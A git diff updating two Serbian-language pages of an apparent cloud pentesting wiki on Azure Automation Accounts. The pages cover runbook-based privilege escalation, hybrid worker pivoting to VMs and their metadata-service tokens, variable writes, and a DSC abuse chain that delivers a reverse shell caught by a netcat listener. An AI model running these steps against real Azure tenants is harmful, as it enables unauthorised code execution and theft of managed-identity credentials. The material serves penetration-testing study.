diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index c042152ea..44b89dfc2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -10,11 +10,20 @@ Za više informacija pogledajte: ../az-services/az-automation-accounts.md {{#endref}} +### Hybrid Workers + +Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljan kod) u hybrid worker-u, on će **preći na lokaciju VM-a**. To može biti lokalna mašina, VPC druge cloud platforme ili čak Azure VM. + +Štaviše, ako hybrid worker radi u Azure-u sa drugim Pridruženim Identitetima, runbook će moći da pristupi **pridruženom identitetu runbook-a i svim pridruženim identitetima VM-a iz metadata servisa**. + +> [!TIP] +> Zapamtite da **metadata servis** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token pridruženih identiteta automatskog naloga (**`IDENTITY_ENDPOINT`**). + ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i pokretanje Runbook-a** u Automation Account-u, što možete iskoristiti za **izvršavanje koda** u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene **Managed Identities** i curenje **akreditiva** i **kriptovanih varijabli** koje su pohranjene u Automation Account-u. +Kao sažetak, ove dozvole omogućavaju **kreiranje, modifikovanje i pokretanje Runbook-ova** u Automatskom Nalog, što možete iskoristiti za **izvršavanje koda** u kontekstu Automatskog Naloga i eskalaciju privilegija na dodeljene **Pridružene Identitete** i curenje **akreditiva** i **kriptovanih varijabli** koje su sačuvane u Automatskom Nalog. -Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikovanje koda Runbook-a u Automation Account-u koristeći: +Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikovanje koda Runbook-a u Automatskom Nalog koristeći: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -38,7 +47,11 @@ az automation runbook publish \ ``` Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account-u koristeći: ```bash -az automation runbook start --automation-account-name --resource-group --name +az automation runbook start \ +--automation-account-name \ +--resource-group \ +--name \ +[--run-on ] ``` Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita izlaz posla u Automation Account-u koristeći: ```bash @@ -51,7 +64,7 @@ az automation runbook create --automation-account-name --resource ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Ova dozvola omogućava korisniku da **dodeli korisnički upravljanu identitet** Automation Account-u koristeći: +Ova dozvola omogućava korisniku da **dodeli identitet koji upravlja korisnikom** Automatskom nalogu koristeći: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,7 +104,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Zatim, sa dozvolom **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler-u runbook koristeći: +Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti planera runbook-u koristeći: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \ --content 'echo "Hello World"' # Run the unpublished code +## Indicate the name of the hybrid worker group in runOn to execute the runbook there az rest \ --method PUT \ --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ @@ -180,32 +194,48 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a sa nekim drugim dozvolama za pokretanje, bilo bi **moguće eskalirati privilegije**. +Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a uz neke druge dozvole za pokretanje, bilo bi **moguće eskalirati privilegije**. -Pored toga, zapamtite da za rad sa izvorom kontrole u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljani identitet, to se može konfigurisati tako što se u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** postavi **client id** korisničkog upravljanog identiteta koji će se koristiti. +Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljana identitet, klijent ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] -> Imajte na umu da nije moguće promeniti URL repozitorijuma izvora kontrole nakon što je kreiran. +> Imajte na umu da nije moguće promeniti URL repozitorijuma kontrole verzija nakon što je kreiran. +### `Microsoft.Automation/automationAccounts/variables/write` + +Sa dozvolom **`Microsoft.Automation/automationAccounts/variables/write`** moguće je pisati varijable u Automation Account koristeći sledeću komandu. +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"name": "", +"properties": { +"description": "", +"value": "\"\"", +"isEncrypted": false +} +}' +``` ### Prilagođena Runtime Okruženja -Ako automation account koristi prilagođeno runtime okruženje, moglo bi biti moguće prepisati prilagođeni paket runtime-a sa nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se runbook koji koristi to prilagođeno runtime izvrši i učita prilagođeni paket, zlonamerni kod će biti izvršen. +Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen. -### Kompromitovanje State Configuration +### Kompromitovanje Konfiguracije Stanja **Proverite ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- Korak 1 — Kreirajte Fajlove +- Korak 1 — Kreiranje Fajlova **Potrebni Fajlovi:** Potrebna su dva PowerShell skripta: -1. `reverse_shell_config.ps1`: Fajl Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +1. `reverse_shell_config.ps1`: Fajl za Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). 2. `push_reverse_shell_config.ps1`: Skript za objavljivanje konfiguracije na VM, dostupan na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Prilagođavanje:** Promenljive i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a. +**Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a. -- Korak 2 — Zip Konfiguracioni Fajl +- Korak 2 — Zip Fajl Konfiguracije -`reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za prenos u Azure Storage Account. +Fajl `reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za prenos na Azure Storage Account. ```powershell Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` @@ -229,7 +259,7 @@ Konfiguracioni fajl se izvršava, što rezultira u tome da se skripta za reverzn - Korak 6 — Hostuj Payload i Postavi Listener -Python SimpleHTTPServer se pokreće da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija. +Pokreće se Python SimpleHTTPServer da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 7ee76dbe9..4ff1c3d2f 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -9,7 +9,7 @@ Azure Automation Accounts su usluge zasnovane na oblaku u Microsoft Azure koje p ### Podešavanja - **Akreditivi**: Lozinka je dostupna samo unutar runbook-a unutar automatizovanog naloga, koriste se za **sigurno čuvanje korisničkih imena i lozinki**. -- **Promenljive**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može biti i osetljiva informacija kao što su API ključevi. Ako je promenljiva **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga. +- **Promenljive**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može uključivati i osetljive informacije poput API ključeva. Ako je promenljiva **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga. - **Sertifikati**: Koriste se za čuvanje **sertifikata** koji se mogu koristiti u runbook-ima. - **Konekcije**: Koriste se za čuvanje **informacija o konekciji** ka spoljnim uslugama. Ovo može sadržati **osetljive informacije**. - **Pristup mreži**: Može se postaviti na **javnu** ili **privatnu**. @@ -40,13 +40,13 @@ Postoje 3 glavna načina za izvršavanje Runbook-a: ### Kontrola izvora -Omogućava uvoz Runbook-a iz **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Moguće je naznačiti da se objave Runbook-i iz repozitorijuma u Azure Automation nalog i takođe je moguće naznačiti da se **sinhronizuju promene iz repozitorijuma** u Azure Automation nalog. +Omogućava uvoz Runbook-a iz **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Moguće je naznačiti da se Runbook-i iz repozitorijuma objave na Azure Automation nalog i takođe je moguće naznačiti da se **sinhronizuju promene iz repozitorijuma** na Azure Automation nalog. Kada je sinhronizacija omogućena, u **Github repozitorijumu se kreira webhook** za pokretanje sinhronizacije svaki put kada se dogodi događaj push. Primer URL-a webhook-a: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` Imajte na umu da ovi webhook-ovi **neće biti vidljivi** prilikom listanja webhook-ova u povezanim runbook-ima sa Github repozitorijumom. Takođe, imajte na umu da **nije moguće promeniti URL repozitorijuma** kontrole izvora nakon što je kreiran. -Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljani identitet (sistem ili korisnik) sa **`Contributor`** ulogom. Štaviše, da bi se dodelio korisnički upravljani identitet automatizovanom nalogu, moguće je to učiniti jednostavno postavljanjem promenljive **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** na **ID klijenta korisničkog upravljanog identiteta**. +Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljanu identitet (sistemsku ili korisničku) sa **`Contributor`** ulogom. Štaviše, da bi se dodelila korisnička upravljana identitet Automation Account-u, potrebno je naznačiti ID klijenta korisničkog MI u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. ### Okruženja za izvršavanje @@ -59,21 +59,28 @@ Kada kreirate Runbook, moguće je odabrati okruženje za izvršavanje. Po defaul - **Python 3.8** - **Python 2.7** -Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti prisutni u izvršavanju. +Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti u izvršavanju. -### Hibridni radnik +### Hibridne grupe radnika -Runbook se može izvršavati u **kontejneru unutar Azure-a** ili u **Hibridnom radniku** (mašina koja nije Azure).\ -**Log Analytics Agent** se instalira na VM-u da bi se registrovao kao hibridni radnik.\ -Poslovi hibridnog radnika se izvršavaju kao **SYSTEM** na Windows-u i **nxautomation** nalogu na Linux-u.\ -Svaki Hibridni radnik je registrovan u **Hibridnoj radničkoj grupi**. +U Azure Automation, podrazumevano okruženje za izvršavanje za runbook-e je **Azure Sandbox**, platforma zasnovana na oblaku kojom upravlja Azure, pogodna za zadatke koji uključuju Azure resurse. Međutim, ovaj sandbox ima ograničenja, kao što su ograničen pristup lokalnim resursima i ograničenja u vremenu izvršavanja i korišćenju resursa. Da bi se prevazišla ova ograničenja, koriste se Hibridne grupe radnika. Hibridna grupa radnika se sastoji od **jednog ili više Hibridnih Runbook radnika instaliranih na vašim mašinama**, bilo lokalno, u drugim okruženjima u oblaku ili Azure VM-ovima. Ova postavka omogućava runbook-ima da se izvršavaju direktno na ovim mašinama, pružajući direktan pristup lokalnim resursima, mogućnost izvršavanja dužih i resursno intenzivnijih zadataka, i fleksibilnost za interakciju sa okruženjima izvan neposrednog dometa Azure-a. -Stoga, ako možete odabrati da pokrenete **Runbook** u **Windows Hibridnom radniku**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika). +Kada se kreira hibridna grupa radnika, potrebno je naznačiti **akreditive** koji će se koristiti. Postoje 2 opcije: + +- **Podrazumevani akreditivi**: Ne morate davati akreditive i runbook-i će se izvršavati unutar VM-ova kao **Sistem**. +- **Specifični akreditivi**: Morate navesti naziv objekta akreditiva unutar automatizovanog naloga, koji će se koristiti za izvršavanje **runbook-a unutar VM-ova**. Stoga, u ovom slučaju, može biti moguće **ukrasti važeće akreditive** za VM-ove. + +Stoga, ako možete odabrati da pokrenete **Runbook** u **Windows Hybrid Worker**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika). + +Štaviše, ako hibridni radnik radi u Azure-u sa drugim upravljanim identitetima, runbook će moći da pristupi **upravljanom identitetu runbook-a i svim upravljanim identitetima VM-a iz servisa za metapodatke**. + +> [!TIP] +> Zapamtite da **servis za metapodatke** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token upravljanih identiteta automatizovanog naloga (**`IDENTITY_ENDPOINT`**). ### Konfiguracija stanja (SC) >[!WARNING] -> Kao što je navedeno u [dokumentaciji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration će biti povučena 30. septembra 2027. i zamenjena [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). +> Kao što je navedeno u [dokumentaciji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration će biti povučena 30. septembra 2027. i zamenjena sa [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). Automation Accounts takođe podržavaju **Konfiguraciju stanja (SC)**, što je funkcija koja pomaže u **konfigurisanju** i **održavanju** **stanja** vaših VM-ova. Moguće je **kreirati** i **primeniti** DSC konfiguracije na **Windows** i **Linux** mašinama. @@ -180,6 +187,15 @@ az automation dsc configuration show --automation-account-name --resource-group --name + +# Get hybrid worker groups for an automation account +az automation hrwg list --automation-account-name --resource-group + +# Get hybrid worker group details +az automation hrwg show --automation-account-name --resource-group --name + +# Get more details about a hybrid worker group (like VMs inside it) +az rest --method GET --url "https://management.azure.com/subscriptions//resourceGroups/>/providers/Microsoft.Automation/automationAccounts//hybridRunbookWorkerGroups//hybridRunbookWorkers?&api-version=2021-06-22" ``` ```powershell